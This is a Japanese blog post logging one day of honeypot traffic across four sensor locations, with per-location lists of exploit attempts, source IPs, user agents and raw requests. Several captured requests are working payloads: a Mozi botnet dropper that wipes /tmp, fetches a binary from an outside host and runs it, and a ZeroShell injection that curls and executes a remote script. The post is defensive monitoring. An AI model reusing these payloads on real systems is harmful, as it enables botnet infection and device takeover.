コンニチハレバレトシタアオゾラ

つれづれなるままに、日暮らし、ぶろぐにむかひて、心にうつりゆくよしなしごとを、そこはかとなく書きつくれば、

2020/10/21 ハニーポット(仮) 観測記録

honeypot

ハニーポット(仮) 観測記録 2020/10/21分です。

特徴
Location：JP

ThinkPHPの脆弱性を狙うアクセス
zgrabによるスキャン行為
を確認しました。

Location：US

GPONルータの脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
Shenzhen TVT製品の脆弱性を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
ZeroShell Linux Routerの脆弱性(CVE-2019-12725)を狙うアクセス
ApiToolによるスキャン行為
Project 25499 Scannerによるスキャン行為
zgrabによるスキャン行為
ZmEuによるスキャン行為
Apache Solrへのスキャン行為
phpMyAdminへのスキャン行為
UserAgentがHello, Worldであるアクセス
112[.]124[.]42[.]80に関する不正通信
を確認しました。

Location：UK

Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
Project 25499 Scannerによるスキャン行為
zgrabによるスキャン行為
Apache Solrへのスキャン行為
Gh0stRATのような動き
を確認しました。

Location：SG

GPONルータの脆弱性を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
Project 25499 Scannerによるスキャン行為
Apache Solrへのスキャン行為
UserAgentがHello, worldであるアクセス
を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http[:]//125[.]105[.]12[.]2:47831/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws
他
アクセス数推移

JP：総アクセス数：26 (前日比：-22)
US：総アクセス数：243 (前日比：-41)
UK：総アクセス数：24 (前日比：-6)
SG：総アクセス数：25 (前日比：-129)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 37.46.134.25 Russia
1 54.166.240.62 United States
2 80.82.65.80 Netherlands
1 106.0.57.33 India
1 106.75.64.169 China
10 119.28.139.200 China
1 128.14.133.58 United States
1 167.71.87.43 United States
1 185.39.11.105 Switzerland
2 185.202.2.68 Russia
1 188.166.242.78 Netherlands
1 192.241.235.220 United States
1 192.241.237.65 United States
2 194.61.55.248 Russia

UserAgent一覧

件数 UserAgent
7 -
2 Go-http-client/1.1
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
9 Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)
2 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
2 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
2 Mozilla/5.0 zgrab/0.x
1 curl/7.72.0

リクエスト内容一覧

件数 Method Request Protocol
1 -
4 \x03
1 \x16\x03\x01\x01D\x01
1 27;wget%20http[:]//%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$ HTTP/1.0
2 GET /.env HTTP/1.1
1 GET /ReportServer HTTP/1.1
1 GET /TP/html/public/index.php HTTP/1.1
1 GET /TP/index.php HTTP/1.1
1 GET /TP/public/index.php HTTP/1.1
1 GET /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1
2 GET /config/getuser?index=0 HTTP/1.1
1 GET /elrekt.php HTTP/1.1
1 GET /html/public/index.php HTTP/1.1
1 GET /hudson HTTP/1.1
1 GET /index.php HTTP/1.1
1 GET /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]=1 HTTP/1.1
1 GET /public/index.php HTTP/1.1
1 GET /thinkphp/html/public/index.php HTTP/1.1
1 GET http[:]//example[.]com/ HTTP/1.1
1 POST /index.php?s=captcha HTTP/1.1
1 POST /subscription2/getPromoPackage HTTP/1.1
Location:US

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 35.232.22.47 United States
1 45.148.121.85 Netherlands
1 60.191.125.35 China
1 61.52.181.99 China
1 61.156.218.15 China
1 80.82.65.80 Netherlands
1 96.83.7.162 United States
1 103.223.9.23 India
1 115.97.7.13 India
101 123.162.22.177 China
1 128.14.134.134 United States
3 157.230.216.203 United States
3 163.172.161.118 United Kingdom
3 163.172.168.251 United Kingdom
1 167.172.42.18 United States
101 180.116.8.176 China
1 182.127.70.5 China
2 185.39.11.105 Switzerland
1 189.208.239.246 Mexico
1 192.241.235.86 United States
1 192.241.237.195 United States
7 193.27.228.27 Russia
2 195.5.246.162 France
6 209.141.56.72 United States

UserAgent一覧

件数 UserAgent
11 -
2 ApiTool
1 Go-http-client/1.1
1 Hello, World
2 Mozilla/0 (Project 25499 Scanner)
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36
2 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36 OPR/54.0.2952.71
202 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
7 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
2 Mozilla/5.0 (Windows NT 6.2; rv:52.7.4) Gecko/20100101 Firefox/52.7.4
1 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
2 Mozilla/5.0 zgrab/0.x
6 ZmEu

リクエスト内容一覧

件数 Method Request Protocol
2 CONNECT www[.]bing[.]com/:443 HTTP/1.1
1 GET /.env HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1
1 GET /MyAdmin/scripts/setup.php HTTP/1.1
1 GET /ReportServer HTTP/1.1
1 GET /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1
1 GET /ab2g HTTP/1.1
1 GET /ab2h HTTP/1.1
1 GET /boaform/admin/formLogin?username=adminisp&psd=adminisp HTTP/1.0
2 GET /boaform/admin/formLogin?username=user&psd=user HTTP/1.0
2 GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F5.206.227.228%2Fzero;sh%20zero;%22 HTTP/1.0
1 GET /config/getuser?index=0 HTTP/1.1
1 GET /favicon.ico HTTP/1.1
1 GET /hudson HTTP/1.1
1 GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP HTTP/1.1
1 GET /myadmin/scripts/setup.php HTTP/1.1
1 GET /phpMyAdmin/scripts/setup.php HTTP/1.1
202 GET /phpmyadmin/ HTTP/1.1
1 GET /phpmyadmin/scripts/setup.php HTTP/1.1
1 GET /pma/scripts/setup.php HTTP/1.1
1 GET /requested.html HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1
1 GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1
1 GET http[:]//example[.]com/ HTTP/1.1
2 GET http[:]//www[.]bing[.]com/ HTTP/1.1
1 HEAD /robots.txt HTTP/1.0
1 HEAD http[:]//112[.]124[.]42[.]80:63435/ HTTP/1.1
1 POST /GponForm/diag_Form?images/ HTTP/1.1
2 POST /HNAP1/ HTTP/1.0
2 POST /api/jsonws/invoke HTTP/1.1
2 POST /editBlackAndWhiteList HTTP/1.1
1 POST http[:]//pomidorowa[.]xyz/8ae061e6bb41d4cababf7ab67e03e1bf5a76591020c4d4c21d9ddb915ab97317d5798b9b2e34d8395b6b8edaa400a635cee3af9465b055bff7bdc7acb790a31cfdd80ed444a14d9ec3f6aaa32d8ad9723680f2f645449a917d4bc6a4cd9c4ced HTTP/1.1
1 POST http[:]//ruthmori[.]best/2d17b63552b6cc403d7066358f302265b36b5a21669505db3cf95cce34e15a5a2532aa55a638229487ce0e37b4422bd55181b877e45517a893f1e74b819b43e105bd36b73aa1c2ae8508607a1aee868858476c5044269cc94ae93de48b1ac16a HTTP/1.1
Location:UK

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 23.102.165.6 United States
1 38.132.118.158 United States
1 61.219.11.153 Taiwan
1 66.240.205.34 United States
2 80.82.65.80 Netherlands
4 157.7.162.55 Japan
3 157.230.216.203 United States
6 176.113.115.89 Russia
1 185.39.11.105 Switzerland
1 192.241.212.58 United States
1 192.241.239.175 United States
1 193.118.53.194 Germany
1 194.127.178.109 Netherlands

UserAgent一覧

件数 UserAgent
3 -
1 Go-http-client/1.1
2 Mozilla/0 (Project 25499 Scanner)
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
6 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
6 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
2 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
2 Mozilla/5.0 zgrab/0.x
1 curl/7.58.0

リクエスト内容一覧

件数 Method Request Protocol
1 -
1 Gh0st\xad
3 GET /.env HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1
1 GET /ReportServer HTTP/1.1
1 GET /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1
1 GET /ab2g HTTP/1.1
1 GET /ab2h HTTP/1.1
2 GET /config/getuser?index=0 HTTP/1.1
1 GET /hudson HTTP/1.1
1 GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP HTTP/1.1
1 GET /jmx-console/ HTTP/1.1
1 GET /public/.env HTTP/1.1
1 GET /requested.html HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /storage/.env HTTP/1.1
1 GET /vendor/.env HTTP/1.1
1 GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1
1 GET http[:]//example[.]com/ HTTP/1.1
1 POST /api/jsonws/invoke HTTP/1.1
Location:SG

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 13.78.227.187 United States
1 23.102.165.6 United States
1 39.74.21.243 China
1 80.82.65.80 Netherlands
1 125.105.12.2 China
1 128.14.133.58 United States
3 157.230.216.203 United States
3 176.113.115.89 Russia
1 182.126.123.224 China
1 185.39.11.105 Switzerland
4 185.142.236.43 Netherlands
1 185.202.2.68 Russia
5 193.27.228.27 Russia
1 222.135.220.121 China

UserAgent一覧

件数 UserAgent
8 -
1 Go-http-client/1.1
1 Hello, world
2 Mozilla/0 (Project 25499 Scanner)
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
8 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
1 curl/7.58.0

リクエスト内容一覧

件数 Method Request Protocol
1 \x03
1 27;wget%20http[:]//%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$ HTTP/1.0
1 GET /.env HTTP/1.1
1 GET /.well-known/security.txt HTTP/1.1
2 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1
1 GET /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1
1 GET /ab2g HTTP/1.1
1 GET /ab2h HTTP/1.1
1 GET /boaform/admin/formLogin?username=admin&psd=admin HTTP/1.0
1 GET /config/getuser?index=0 HTTP/1.1
1 GET /favicon.ico HTTP/1.1
1 GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP HTTP/1.1
1 GET /jmx-console/ HTTP/1.1
1 GET /requested.html HTTP/1.1
1 GET /robots.txt HTTP/1.1
1 GET /shell?cd+/tmp;rm+-rf+*;wget+http[:]//125[.]105[.]12[.]2:47831/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1
1 GET /sitemap.xml HTTP/1.1
2 GET /solr/admin/info/system?wt=json HTTP/1.1
2 GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1
1 GET http[:]//example[.]com/ HTTP/1.1
1 POST /HNAP1/ HTTP/1.0